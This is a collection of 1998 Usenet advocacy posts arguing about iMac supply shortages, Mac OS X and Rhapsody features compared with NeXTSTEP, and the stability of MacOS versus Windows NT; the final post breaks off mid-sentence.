> > > > Robert X. Cringely produced the miniseries "Triumph of the Nerds" for
> > > > PBS, detailing how people like Steve Jobs and Bill Gates made their
> > > > money in the early days of personal computing.
> > > > You can find his article at:
> > > > http://pbs.org/cringely/
> > > >
> > > > and more about him at:
> > > > http://pbs.org/cringely/whois.html
> > > >
> > > > His claim that only 5,000 iMacs had been produced isn't really that hard
> > > > to believe. By MacWorld Apple only had about 100 iMacs - all hand built
> > > > and of varying quality. And they've definitely had production problems,
> > > > mainly to do with the case and the monitor.
> > >
> > > Let's try to do some math.
> > >
> > > MacWorld was 6 weeks before the iMac launch. That's about 12% of the year.
> > >
> > > Apple has been shipping 2.4 million Macs per year. So, during 6 weeks,
> > > they'd have the capacity to produce at least 300,000 Macs (and that's
> > > assuming that the plants were running flat out to produce 2.4 million).
> > > Apparently, they've been making almost nothing but iMacs since MacWorld.
> > > Even if they're only at 50% of capacity, they'll have 150,000 iMacs by
> > > mid-August.
> > >
> > > Granted, no one can be sure what the correct utilization rate is. And I'm
> > > sure it started low and is increasing. But it doesn't take that long to
> > > produce a pile of machines.
> >
> > Tell it to the backlogged purchasers....
>
> That may happen. But the fact that they haven't received their computers
> yet doesn't prove or disprove anything. The machine isn't being released
> for 5 more days.
Although I didn't state it, I was thinking along the lines of the "current" backlog. For instance, them that ordered DVD's on their machines from the Apple store and are still waiting...
--
Further, you make grammar errors, show mistakes in word choice, and
commit logical fallacies regularly. I don't. On top of all that,
you like a shithouse on fire.
Guess who? in <5o1nmn$4qc@dfw-ixnews5.ix.netcom.com>
From: "Jonathan Hendry" <jon@steeldriving.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Is Merced doomed?
Date: 10 Aug 1998 22:18:20 GMT
Organization: Steel Driving Software
Message-ID: <01bdc4d6$b531b0e0$74b4dccf@samsara>
References: <01bdc157$4c555c20$06387880@chewy> <joe.ragosta-0608981346240001@wil38.dol.net> <6qdkcf$fu5$1@news.idiom.com> <35CCC28D.2464@earthlink.net>
Granny Annie <skellener@earthlink.net> wrote in article
<35CCC28D.2464@earthlink.net>...
> John C. Randolph wrote:
> > Not only that, SGI is a company whose engineers understand how to build
a
> > buss and storage architecture that really *performs*. CPU speed isn't
the
> > most important thing when you're building a server.
>
> Didn't SGI already announce that as of summer '99 MIPS is dead? This is
> old news.
>
MIPS was spun off. SGI might not use it, but MIPS itself isn't dead. Yet.
From: "Jonathan Hendry" <jon@steeldriving.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: iMac preorders
Date: 10 Aug 1998 22:29:03 GMT
Organization: Steel Driving Software
Message-ID: <01bdc4d8$34716a70$74b4dccf@samsara>
References: <joe.ragosta-0708981530570001@wil31.dol.net> <NeedALight?-0708982354540001@68.oakland-01.ca.dial-access.att.net> <macghod-0808980307190001@sdn-ar-002casbarp315.dialsprint.net> <NeedALight?-0808981054420001@240.oakland-01.ca.dial-access.att.net> <TheLidlessEyeTh-0908981619300001@digital-00-09.hou.neoworld.net> <NeedALight?-0908981728370001@153.oakland-01.ca.dial-access.att.net> <TheLidlessEyeTh-1008980049190001@digital-00-40.hou.neoworld.net> <NeedALight?-1008981401360001@166.oakland-01.ca.dial-access.att.net>
Goin' Nova <NeedALight?@NOT.netcom.com> wrote in article
<NeedALight?-1008981401360001@166.oakland-01.ca.dial-access.att.net>...
>First time buyers. If they have a need, now, they will want to fill it,
now.
That depends on why they want an iMac. If they just want a cheap
computer, they'll probably get something else. If they want an
*iMac* - in other words, if they're buying something intangible about
the iMac itself, they probably cannot get that from anything else.
Likewise, if someone goes out to buy the new VW Beetle, they're not
going to be happy with a Jetta. They want a Beetle.
Thus, they'll wait. Or, if they have money, perhaps they'll
pay more than list price. That briefly happened with the new Beetle.
Perhaps that'll happen with the iMac. It'd be a serious PR coup for
Apple if people start offering to pay $2,000 for a new iMac.
It's not logical, but neither are people.
- Jon
From: sal@panix.com (Sal Denaro)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Conspiracy Theory
Date: 11 Aug 1998 05:16:25 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <6qok39$20f@news1.panix.com>
References: <macghod-3107980149120001@sdn-ar-001casbarp015.dialsprint.net> <27593-35C1CA70-10@newsd-124.bryant.webtv.net> <joe.ragosta-3107981100490001@wil31.dol.net> <6pt3q5$gsj$1@ash.prod.itd.earthlink.net> <35C37368.496D@geocities.com> <35C9C61C.7AC6@genetics.utah.edu> <chrisj-0708981444340001@usr1a5.bratt.sover.net> <35CB5752.DB4A33EF@ericsson.com> <19980807231805777957@ts3-40.aug.com> <35CBC6F8.BECC09E2@nstar.net>
On Sat, 08 Aug 1998 03:33:12 +0000, Michael J. Peck
<mjpeck@nstar.net> wrote:
>I think I was looking for something more along the lines of "good
>reasons".
How about the fact that MacOSX will be able to use Unix server software
like Apache, INN, Sendmail, et al out of the box?
From: RasAllGhul@webtv.net (Joshua Moore)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: What the F*CK's up with the imac?
Date: Mon, 10 Aug 1998 18:42:25 -0400 (EDT)
Organization: WebTV Subscriber
Message-ID: <4324-35CF7751-62@newsd-124.bryant.webtv.net>
References: <macghod-1008981117300001@sdn-ar-002casbarp028.dialsprint.net>
Mime-Version: 1.0 (WebTV)
Content-Type: Text/Plain; Charset=ISO-8859-1
Content-Transfer-Encoding: Quoted-Printable
ETAsAhQ6YRbeKwsdQThcHeJwKF7I5DQvPAIUZNXditCtnCxn+MgFeAw9C8iv2Ds=
Steve=A0Sullivan wrote:
>First, I was worried about Apple having
>enough units to meet demand. But then, I
>assumed Cringely was just being spun by
>APple. But lets assume Apple will have plenty
>of imacs, why spin this way?
>From techweb today, says many stores are
>scaling back their imac promotions because
>they doubt they will get enough imacs. It would
>make no sense for apple to spin this cringely
>guy this way, maybe a anti apple faction gave
>him the misinformation?
I don't think so.
The best way to generate demand is to:
1. Create a buzz around the product.
2. Have your retail partner announce they are taking pre-orders for said
product.
3. Leak rumor that above product is in short supply.
4. Watch the pre-orders pile up.
5. "Miraculously" discover a boatload of the uber-product hiding in one
of your factories.
Just one possibility.
------
"But there's nothing more sadistic than an infant, waving his pistol in
my face. He wants me right down on my knees, crumbling in disgrace.
He underestimates my mind, I know he's messing with my head." - Trigger
Happy Jack by Poe
From: RasAllGhul@webtv.net (Joshua Moore)
Newsgroups: comp.sys.next.advocacy
Subject: Re: What is MacOS-X Really ?
Date: Mon, 10 Aug 1998 18:03:52 -0400 (EDT)
Organization: WebTV Subscriber
Message-ID: <3206-35CF6E48-28@newsd-123.bryant.webtv.net>
References: <6qn8v6$3vt4@onews.collins.rockwell.com>
Mime-Version: 1.0 (WebTV)
Content-Type: Text/Plain; Charset=ISO-8859-1
Content-Transfer-Encoding: Quoted-Printable
ETAuAhUAtTXyenRKqYv4O5moTJEzvLA4mboCFQCkrF+QbE//pgq58rf2HuRZXMpEuw==
Erik=A0M.=A0Buck wrote:
>Joshua Moore wrote:
>>>- Will not have standard configuration via rc
>>>scripts
>>Why is it important to have this ability?
>>(honest question, I don't know)
>It is important because the world is full of
>experienced UNIX system administrators who
>know what to do with them. If Apple insists on
>being gratuitously different, it will certainly not
>appeal to anyone who is not already MAC
>trained.
It won't appeal to Unix users, but why would they buy into the MacOS if
they just wanted Unix? There are dozens of free alternatives that can
give them everything they want.
>>>- Will not support UNIX services such as
>>>cron, autonfsmountd, lpd, telnetd, nfsd,
>>>inetd, lookupd, ypbind, syslogd, etc.
>>Apple has utilities that approximate those
>>tools. It makes more sense for them to
>>include the tools that the majority of people
>>will use.
>Again, why be different for no reason ? All of
>these standard UNIX services are considered
>a minimum my existing UNIX installations. If
>Apple insists on being different, they might as
>well be NT.
Because Apple can't be successful being the same as everyone else.
The only thing keeping Apple alive is that they are different, they
have an operating system that is unique.
>Of course, there are lots of
>reasons for a company to use NT. What
>reason could possibly convince a company to
>invest in proprietary hardware, retrain the
>support staff, and give up access to all of their
>enterprise software ?
They wouldn't. Apple isn't holding a gun to anyones head making them
stay withthe platform.
>>>- Will not have Digital Librarian
>>What does this do? Maybe there is an
>>equivalent.
>It is a very powerful text searching and
>indexing tool that has shipped with NeXTstep
>for 10 years. It works with on line
>documentation as well as your own files.
Ah, well there is an equivalent on the Mac side code-named Sherlock (or
V-Twin). It will be shipping with OS 8.5 and was developed by Apple's
advanced Technology Group.
>>>- Will not have Digital Webster
>>You don't know this.
> <snip explanation of Webster's>
Yes I know what it is, but you can't be sure it won't be included.
<snip>
>>>- Will not have man pages
>>AppleGuide.
>No it won't. It will have new HTML
>documentation.
It's still called AppleGuide (last time I checked).
>I attended WWDC 98. I have all of the session
>notes printed. I asked many question during
>the feed back session. Even still, I am the first
>to admit that I do not know that much about
>MacOS-X.
>All I am able to really ascertain from Apple's
>marketing message is that everything possible
>(with the exception of hardware) will be done
>to make the transition easy for existing MAC
>OS users and that everything possible will be
>done to antagonize/abandon Corporate users
>and all other non-Mac OS users.
This isn't a fair critism of Apple.
NeXT was going to drop OPENSTEP/Mach before it was purchased. Your
transition at that time would have landed you square in NT.
As far as I know, you can still go to YellowBox NT.
The fact that Apple once included you explicitly in their future plans
doesn't obligate them to change the company's focus and alienate its
larger user base in order to make you happy.
------
"But there's nothing more sadistic than an infant, waving his pistol in
my face. He wants me right down on my knees, crumbling in disgrace.
He underestimates my mind, I know he's messing with my head." - Trigger
Happy Jack by Poe
From: sal@panix.com (Sal Denaro)
Newsgroups: comp.sys.next.advocacy
Subject: Re: A prediction
Date: 11 Aug 1998 05:16:24 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <6qok38$20f@news1.panix.com>
References: <6qmve8$1dk@newsb.netnews.att.com> <6qn4ct$1qv@newsb.netnews.att.com>
On 10 Aug 1998 15:42:21 GMT, gupta@kcopsrm.tm.tta.moc-mirror after
@ <gupta@kcopsrm.tm.tta.moc-mirrorafter@> wrote:
>http://www.zdnet.com/pcweek/news/0803/05ent.html
>says that MS is within 100 critical bugs of delivering beta 2.
>This newsitem is dated August 5.
Is that 100 bugs to add or 100 bugs to remove?
From: sal@panix.com (Sal Denaro)
Newsgroups: comp.sys.next.advocacy
Subject: Re: NEXTstep/Openstep for the Mac
Date: 11 Aug 1998 05:16:26 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <6qok3a$20f@news1.panix.com>
References: <35CF0C69.B3B0CF5@ericsson.com> <6qn2ub$scf@shelob.afs.com> <35CF1CC6.835FA9DE@ericsson.com> <6qo7kb$jkg$1@lwnws01.ne.highway1.com>
On 11 Aug 1998 01:43:39 GMT, John Kheit <jkheit@mediaone.net> wrote:
>don't think that one is a substitute for the other. When I do legal
>research, or even post to usenet, and come across a cool term, or need a
>synonym, it's just so darn easy to hit cmnd = and get a look up. I also like
IMHO, having DW is much more useful than having man pages. On NT I keep word
running just to have a spell checker around. I use man pages once or twice a
month, I use the spell checker 20+ times a day.
> I'm
>not holding my breath for apple to improve it, or even include it though.
Just for kicks I played around with writing a bable-fish service.
I'm sure that a DW clone wouldn't be all that hard. Heck, with V-Twin you
might be able to search local and internet data sources from the same DW
clone.
From: gupta@kcopsrm.tm.tta.moc-mirror after @
Newsgroups: comp.sys.next.advocacy
Subject: Re: A prediction
Date: 10 Aug 1998 15:42:21 GMT
Organization: IMEMYSELF
Sender: Arun Gupta
Message-ID: <6qn4ct$1qv@newsb.netnews.att.com>
References: <6qmve8$1dk@newsb.netnews.att.com>
Originator: gupta@tlctest
http://www.zdnet.com/pcweek/news/0803/05ent.html
says that MS is within 100 critical bugs of delivering beta 2.
This newsitem is dated August 5.
-arun gupta
From: jcr.remove@this.phrase.idiom.com (John C. Randolph)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Where's Installer.app in Rhapsody DR2?
Date: 11 Aug 1998 05:11:09 GMT
Organization: Idiom Communications
Message-ID: <6qojpd$tu$1@news.idiom.com>
References: <35d1c638.1269194@news.icx.net>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Cc: mmccullo@nospam.net
Michael McCulloch may or may not have said:
-> I can't find any installation app that recognizes .pkg's in Rhapsody
-> DR2 for PCs.
->
-> Am I missing something??
Is this for real? Did apple screw the pooch on this one?
-jcr
--
"Although UNIX is more reliable, NT may become more reliable with time"
- Ron Redman, deputy technical director of the Fleet Introduction
Division of the Aegis Program Executive Office, US Navy.
Where is the line between mere incompetence and actual treason? -jcr
From: NeedALight?@NOT.netcom.com (Goin' Nova)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: What the F*CK's up with the imac?
Date: 11 Aug 1998 05:21:19 GMT
Organization: Flames-R-Us
Message-ID: <NeedALight?-1008982232550001@145.oakland-01.ca.dial-access.att.net>
References: <macghod-1008981117300001@sdn-ar-002casbarp028.dialsprint.net> <billa-1008981717310001@archbald-33.slip.uiuc.edu> <NeedALight?-1008981547070001@166.oakland-01.ca.dial-access.att.net> <6qnuc3$5m2@fridge.shore.net>
Mail-Copies-To: never
Otherwise_Known_As: John Hausmann
In article <6qnuc3$5m2@fridge.shore.net>, "Thomas Long" <pcmacguy@mailexcite.com> wrote:
> The CompUSA I deal with for a school system claims something close to 200
> iMAC pre-orders as of Friday. There are concerns that the full 200 will not
> be recieved by the 15th. I've been told that sharp pricing on current G3's
> have switched a few people to the standard MAC line of computers. I'd bet
> that if production delays on the iMAC occur there will be some switching to
> other models rather than deposit refunds. The salesperson gave out this
> information very unofficially.
>
I can see a problem with that approach, too. With the current G3 well running "dry", so to speak (and there's plenty of web pages reporting it), that may not be viable for long. Of course, it could be Jobs just dicking with us...
> Goin' Nova wrote in message ...
> >In article <billa-1008981717310001@archbald-33.slip.uiuc.edu>,
> billa@uiuc.edu (Bill Altenberger) wrote:
> >
> >> In article
> <macghod-1008981117300001@sdn-ar-002casbarp028.dialsprint.net>,
> >> macghod@concentric.net (Steve Sullivan) wrote:
> >>
> >> > First, I was worried about Apple having enough units to meet demand.
> >> > But then, I assumed Cringely was just being spun by APple. But lets
> >> > assume Apple will have plenty of imacs, why spin this way?
> >> >
> >> > From techweb today, says many stores are scaling back their imac
> >> > promotions because they doubt they will get enough imacs. It would
> make
> >> > no sense for apple to spin this cringely guy this way, maybe a anti
> apple
> >> > faction gave him the misinformation?
> >>
> >>
> >> I hardly think Cringely was spun. He probably is just making a guess
> >> that the iMac release will be similiar to other Mac CPU releases. They
> >> tend to ramp up production. Apple isn't the only firm that does it.
> >> Compaq and IBM have had similiar waits with their hot new notebooks.
> >> I remember waiting 2 - 3 months for IBM 560's and the Compaq Armada(sp?)
> >> to become avail to mere mortals.
> >
> >Real problem is if Apple has grossly underestimated demand. If Cringely's
> numbers are even close to correct, Apple will miss out on the opportunity to
> sell to the back to school (note for Lawson, "home") crowd. School's
> starting up soon and Mom/Pop will be buying what's available ....
> >--
> >Further, you make grammar errors, show mistakes in word choice, and
> >commit logical fallacies regularly. I don't. On top of all that,
> >you like a shithouse on fire.
> >Guess who? in <5o1nmn$4qc@dfw-ixnews5.ix.netcom.com>
--
Further, you make grammar errors, show mistakes in word choice, and
commit logical fallacies regularly. I don't. On top of all that,
you like a shithouse on fire.
Guess who? in <5o1nmn$4qc@dfw-ixnews5.ix.netcom.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Mac Menu (Was Mac OS X UI)
References: <6qkeot$83$1@sibyl.sunrise.ch> <35CE46B8.58E8D773@ericsson.com>
From: richard@brainstorm.co.uk. (Richard Frith-Macdonald)
Message-ID: <35ce8e7a.0@nnrp1.news.uk.psi.net>
Date: 10 Aug 98 06:08:58 GMT
Michael Peck <Michael.Peck@ericsson.com> wrote:
>marmier4@hei.unige.ch wrote:
>
>I'm sorry, Richard (Frith-MacDonald), but I can't go against my nature.
>Yes, I probably am the person you had in mind when you said Ralph would
>be flamed...
I didn't really hacve any one person in mind really - there are plenty of
people around who (unlike you) don't even seem to think before posting.
<SNIP>
>Now I'm really confused. Icons being obscured by windows was a problem
>for the desktop, but now you complain that running app icons should be
>on the desktop. Remarkable how that logic manages to work in NeXTstep's
>favor, don't you think?
I don't think that's quite fair - he thinks that running icons on the dock
are BETTER than the MacOS application menu (but he really prefers the dock).
I reckon that, when the subject has come up before, most NeXT users have liked
the idea of a 'shelf' for running app tiles - a resizable area that they get
placed in, that can be set to always be above all the other windows (if you
wish) and that might be 'tabbed' to let you group things. Kind of like an
advanced dock that normally sits at the bottom of the screen rather than on
the edge - but I guess you read all the posts about this a few years ago.
But still, having nice big tiles at the bottom of the screen has got to be
better than the application menu (except on a really small display) for ease
of switching between apps.
<SNIP>
Mostly fair comment really.
From: "Jonathan Hendry" <jon@steeldriving.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.be.advocacy,comp.sys.intel
Subject: Re: Conspiracy Theory
Date: 11 Aug 1998 01:36:47 GMT
Organization: Steel Driving Software
Message-ID: <01bdc4f2$6efb88f0$a6b4dccf@samsara>
References: <macghod-3107980149120001@sdn-ar-001casbarp015.dialsprint.net> <27593-35C1CA70-10@newsd-124.bryant.webtv.net> <joe.ragosta-3107981100490001@wil31.dol.net> <6pt3q5$gsj$1@ash.prod.itd.earthlink.net> <35C37368.496D@geocities.com> <35C9C61C.7AC6@genetics.utah.edu> <35ca2993.0@news.depaul.edu> <kindall-0608981833260001@nic-c41-094.mw.mediaone.net> <B1EF8E4C-21EAA@206.165.43.105> <19980807090337288881@pm2-1-27.aug.com> <01bdc4d6$87897560$74b4dccf@samsara> <joe.ragosta-1008982120540001@elk41.dol.net>
Joe Ragosta <joe.ragosta@dol.net> wrote in article
<joe.ragosta-1008982120540001@elk41.dol.net>...
> In article <01bdc4d6$87897560$74b4dccf@samsara>, "Jonathan Hendry"
> <jon@steeldriving.com> wrote:
> > The money was not important. MSOffice for Mac is *priceless* for Apple,
> > and worth infinitely more than the $1 billion Amelio wanted.
>
> Of course, we're going to see soon how much it did mean.
>
> MS Office 2000 is ready to go into beta for Windows. I wonder when
they'll
> get around to releasing the Mac version--after their promise of parity.
I'm wondering if Office 2000 is being beta'd to distract the industry
from the lack of NT 5.
I do hope Apple went over the contract's language with a bastard detector.
(Or, better yet, that Jobs was able to out-bastard Microsoft.)
- Jon
From: hunschr@suplet.net
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.mac.system
Subject: Re: Crash-o-RAMA (was: Re: '97 Mac entrant)
Date: Tue, 11 Aug 1998 00:50:06 -0500
Organization: http://www.supernews.com, The World's Usenet: Discussions Start Here
Message-ID: <hunschr-1108980050070001@pm6-153.acronet.net>
References: <35C71113.5BEC@bellatlantic.net> <6q7jkq$g7n$1@plo.sierra.com> <6q85rv$jfs$1@morgoth.sfu.ca> <6q8a9c$t4$1@lwnws01.ne.highway1.com> <6q8tr6$nlg$1@nnrp1.dejanews.com> <joe.ragosta-0508980820070001@wil62.dol.net> <6q9l4j$773$1@lwnws01.ne.highway1.com> <joe.ragosta-0508980949010001@wil46.dol.net> <6q9qt9$cvg$1@lwnws01.ne.highway1.com> <NOamradioSPAM-0608980031190001@207-172-129-235.s235.tnt2.col.erols.com> <6qberc$3lm$1@lwnws01.ne.highway1.com> <NOamradioSPAM-0708980530380001@207-172-128-210.s210.tnt1.col.erols.com> <6qlv1i$el2$2@lwnws01.ne.highway1.com>
In article <6qlv1i$el2$2@lwnws01.ne.highway1.com>, jkheit@mediaone.net wrote:
> NOamradioSPAM@thebizlink.com (Steve) wrote:
> > It is clear your argument has no validity when you resort to name calling.
>
> You've completely missed the argument.
>
>
> > I used the NH stereotype example to illustrate a point not as a personal
> > attack. Maybe it really is true.
>
> Man, you are daft. Even after the last response it's not clear to you.
> First, maybe the NH thing is true for all I know. The point I tried to make
> is that usenet/computer jock people have a stereo type of being snipey,
> smartass jerks, that need to get in the last word. So I cursed you out, and
> I think you responed (I think it was you, maybe it was someone else, I don't
> remember at this point) with a snipey smart ass post; i.e. living right up to
> the stereotype. The point being, your earlier position was brain dead
> because it amounts to saying that no stereotypes ever have any validity to
> them. That is a dumb ass politically correct position to take. Plenty of
> stereotypes are valid (and conversly, plenty are not). Your original
> position was trite and PC at best. I would have thought that my last post
> made it clear through example just how stereotypical many people behave.
>
> Ergo, if there is a stereotype that the mac bombs more than other systems, it
> may well be more significant than mere anecdote.
>
> I've spelled this out as basically as I could. If you don't understand it,
> it's not my job to make you comprehend.
>
>
> -- Thanks, be well, take care, later, John Kheit; self expressed --
> ______________________________________________________________________
> UCO & A S S O C I A T E S ASCII, MIME, PGP, SUN, & NeXTmail OK
> mailto:jkheit@uco-iplaw.com
> http://people.ne.mediaone.net/jkheit
> You're dangerous because you're honest...
Try 8.1 and you will relax.
From: macghod@concentric.net (Steve Sullivan)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: What the F*CK's up with the imac?
Date: Mon, 10 Aug 1998 11:17:29 -0700
Organization: EarthLink Network, Inc.
Message-ID: <macghod-1008981117300001@sdn-ar-002casbarp028.dialsprint.net>
qAu4.b<T[j{(qqCB/9tkHgRJ4InDT$D1u_*"":A)qR2r4iwu(`&/hx|%MVf5O8.aW./I
7$!0/VnS`6`8aD]De;>vF1t?VHMX4sdL+L~J!U!<1>.Xzb[/|UGUP^)mEcHp)}.R5uBY
3LsnAQnZh
First, I was worried about Apple having enough units to meet demand.
But then, I assumed Cringely was just being spun by APple. But lets
assume Apple will have plenty of imacs, why spin this way?
From techweb today, says many stores are scaling back their imac
promotions because they doubt they will get enough imacs. It would make
no sense for apple to spin this cringely guy this way, maybe a anti apple
faction gave him the misinformation?
--
Whats a nice wench like you doing in a monastery like this?
- reported oldest written Scottish, said by a clergymen to a "wench"
From: Patrick <patrick@howard.genetics.utah.edu>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel,comp.os.ms-windows.advocacy
Subject: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!
Date: Mon, 10 Aug 1998 11:36:25 -0600
Organization: University of Utah Computer Center
Message-ID: <Pine.SOL.3.91.980810104149.727B-100000@howard>
References: <macghod-3107981419590001@1cust64.tnt1.santa-barbara.ca.da.uu.net> <ckoller-0108980911260001@125.san-francisco-04.ca.dial-access.att.net> <macghod-0108981444250001@sdn-ar-001casbarp113.dialsprint.net> <6q14vb$5kn$1@andros.cygnus.com> <35C86ABE.4EE5@genetics.utah.edu> <gmgraves-0608980923010001@sf-usr1-59-187.dialup.slip.net> <35C9C503.2B61@genetics.utah.edu> <gmgraves-0708981742280001@sf-usr1-54-182.dialup.slip.net>
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On Fri, 7 Aug 1998, George Graves wrote:
> > George Graves wrote:
> > >
> > > In article <35C86ABE.4EE5@genetics.utah.edu>, Patrick O'Neil
> > > <poneil@genetics.utah.edu> wrote:
> > [...]
> > >
[...]
> > Not at all. As much as I dislike M$ and Gates, the latest Winblows
> > variants (perversions?) ARE more stable than MacOS.
>
> Hmmm I've run OS8 and 8.1 for over a year without a crash. How's
> that stack up for reliability? Also, if you were to ask the Hong
> Kong Airport Authority or the US Navy about NT, they might
Don't get me wrong here (it is easy in such "conversations"). I am NO
fan at all of M$ or any M$ app or OS...they do suck. The point I was
making was comparative between OSes (and in one case, the OS and the
hardware are inextricably linked, ie, Apple stuff). NT DOES bite,
overall, but on the whole it is more stable than MacOS - rhapsodizing it
may well make it equally (un) stable vs NT. Now vs linux...they can't
hold a candle, but that is another story.
You need not just ask the Hong Kong airport or the Navy. The Air Force,
of which I am also a member, is switching to NT (and suffering for it as
well).
> disagree with you about ITS reliability as well. I'd say you have
> some preconceived notions, Mr. O'Neil, which won't stand up under
> close scrutiny.
They are not preconceived. I had no inkling of Macs until I got to the
present university that I am now working/studying at. The lab I am in,
and most, but not all, of the labs here use Macs of various flavors:
IIvx's, se's, various PowerMacs, some G3s, Quadras, and so forth. I have
worked on/with the IIvxs, PowerMacs (604s), G3s, and the Quadras
(thankfully, no messing with any se). In every case, I have run into
hard system crashes during the NORMAL course of events. They all range
is operating system versions from system 7.5.3 on up (don't know squat
about the se's). It doesn't matter, they crash, if not regularly, then
quite often. I also work on NT systems (I hate em) but they do NOT crash
as often at all. One of the most reliable bits of software that will all
BUT crash them is Netscape, but that is par. The NT stations range from
v3.1 on up. Though Netscape doesn't TECHNICALLY crash the systems when
it goes south, it might as well. You get that DAMN Dr Watson window with
the choices of shutting down the app, etc. Thing is, in EVERY case it
has happened, selecting 'kill the app' NEVER works and you keep getting
that damn window up and can't do much else. Usually end up pushing the
reset button on the case and starting the system up again.
Under OS/2 Warp 4, I rarely have to reboot to fix a crashed app (usually
Netscape...par). Under RH linux 5.1, I have even had fewer occasion to
reboot due to a lockup, and most likely, I didn't even HAVE to reboot -
but I am a newbie linux user and still ignernt about some of the means of
correcting this or that crashed application.
> Setting up a
> > standard Winblows box from scratch is no more complicated than
> > setting up a new install of MacOS...so there is no benefit THERE.
>
> Ha ha ha ha ha ha ha. You kill me! Windows is as easy to set up from
> scratch as a Mac??????????? What the hell have you been smoking.
> Its LOTS HARDER. I mean like L-O-T-S HARDER.
No it isn't. I have new-installed on both my stepdaughter's Performa
and, many times, on my own PC (my system because I am always playing with
the hardware/software config, sometimes blow it all to hell or just want
to upgrade). It was easy to install MacOS, true. Just started the
process and left it to its own devices. Installing Win95 AND OS/2 on my
PC, I started the install, left it to its own devices once I answered a
couple simple questions (because you have more setup options with PCs and
their oses), and left them alone too. Tada! Installed. With RH linux,
it was not that simple, had to answer a good deal more questions and make
a good deal more setup decisions, but once that was over, I left it alone
and came back later to finish up. It was nearly painless (once you get
past the minor hurdles the first time, it is way easy on subsequent moves).
I don't understand the problems people seem to spout about. Don't buy
marginal, offbrand hardware and you will almost be assured a totally easy
and problem-free install NO different than installing on a Mac.
The ONLY reason there are some extra question-answering involved in
either a Win95 or OS/2 install is because they have more addon
capabilities and allow you to a priori make decisions on how much and
what you want to install, instead of installing everything under the sun
and making you decide later if you want to delete anything. Sorry, but
answering a couple simple questions about what sort of network support
you want, or what you want done with things that may already be on the
HDD is NOT a trouble, but a benefit. If you can't handle questions like
that, then you are barely literate and can't handle the most basic
computer operation anyway...stick to typewriters.
> Yeah, good enough to work 8-10 hours a day for more than year
> without a freeze or a crash. I don't have any Windows using
I NEVER turn mine off. NEVER...well, OK, if I am leaving for an extended
period of time and no one else will be home to use it, I turn it off, but
otherwise, there is no point to shutting down. Or, OK, when I remove an
old piece of hardware and replace it with new, then sure I have to shut
down. MOST of the time, the only reboots necessary for me are after
installing/compiling certain new linux app (but that often isn't
necessary) OR making some fundamental change to my OS/2 setup, or to get to
Win95 to install/run a new game.
> friends with a record like that. Most of 'em say that Windows
> crashes on them a couple of times a day. Even NT users I know
> say that they get the BSOD at least once a month. Right Win
> is MUCH more stable than MacOS - in a pig's eye!
Depends on your hardware, the software you are running, etc. I can open
certain Mac apps on my stepdaughter's Performa, a handful of apps (not at
the same time) on our lab IIvx, or the neighboring lab's G3 or yet
another lab's 604 system, and crash them within a single session without
doing anything "wierd".
> > Let's see some more...Flat out more software available (and first)
> > for Wintel boxes. This is factually undeniable.
It is unfortunate but part and parcel to having a monolithic monopoly
like M$. I don't like this. I use Describe 5.0 for OS/2 (I have used
Lotus WordPro, and many OS/2 users use Lotus SmarSuite, and I use StarOffice
for Linux (it compares quite well with Office)- many do, though there is
Applixware, LaTex, and some smaller bits and pieces about.
As for the Mac, lets face facts here. Even there, the primary
wordprocessor is Word. It is, unfortunately, and due to inertia and
stupidity in general, a standard in business and education and research.
> over blown in importance. Games? Yeah, Windows has more games.
> If that's the level of your maturity, that you gauge a platform on the
> number of games available, then Windows wins, and welcome!
I would bet that MOST computer users, particularly home users, care about
games. They are THE biggest moneymaker in computer software. They often
test the very edges of a system's capabilities, hardware-wise and
software-wise.
> So you say. But, the cost of switching goes both ways. And I certainly
> don't remember anybody telling you to switch in this NG. Most of us
> Mac advocates, unlike most of you Windows advocates don't give a
> tinker's damn what others use. We just resent you coming here and
> trying to get us to change with "Macs suck" and "Why don't you Mac
> guys get yourselves a real computer?" (misery loves company, they
> say).
Fine, but hey, I am reading this entire thread in an INTEL system
newsgroup, NOT from a Mac newsgroup. Blame whomever crossposted to the
wrong newsgroups. It certainly wasn't me. I occasionally frequent Mac
newsgroups to hear experiences with new PPCs (don't give much of a damn
about the OS, though I listen in out of curiosity) and to try to gain
help with the problems that pop up with my stepdaughter's Mac. I don't
enter "your" groups and spout partisan nonsense. I don't mind responding
to it when it appears in outside groups though. Too often, the salvos
are based on rare problems or cases or outright ignorance from people who
have no direct experience with Intel/AMD/Cyrix/etc and/or
Winblows/Linux/OS/2. Or if they DO have experience, it dates back to the
ugly 286/386-win3.1/DOS days. Pa-leeze.
> > Nay...the fact is, there is less and less disparity between ease of
> > use, setup ease, reliability, and speed between the PPC/Mac world
> > and the Intel-Winblows-Linux, etc, world...
>
> That's what you think. I deal with both. I KNOW better. Do you think
> it has ever taken me a week to get a modem to work on a Mac?
> Absolutely not. But it has taken that long to get one working on a
> relatively new PC under Win95. Everything about setting-up
> Windows CAN BE a nightmare. Macs just plug-n-play (relatively
> speaking).
Actually, on my daughter's Performa, the modem and net communication in
general has been a ROYAL pain in the ass. Not even the university Mac
guys could make them work properly. I tried them twice after over a month
of trying to get the damn thing working properly myself. Now, it is in a
repair shop with THEM trying to get it working. Our fingers are crossed
because since she got her Mac, she has been using my OS/2 or Linux box to
handle all network/internet work because they plain work well. I had no
pain at all making them work, but then, I tend to buy solid modems and
such that handle STANDARD Hayes commands. Just enter AT&F or AT&F2 on
the setup and viola! It works.
> How long has it been since you have owned a Mac? Let me answer, either
> a very long time ago or never, because you don't know what you are talking
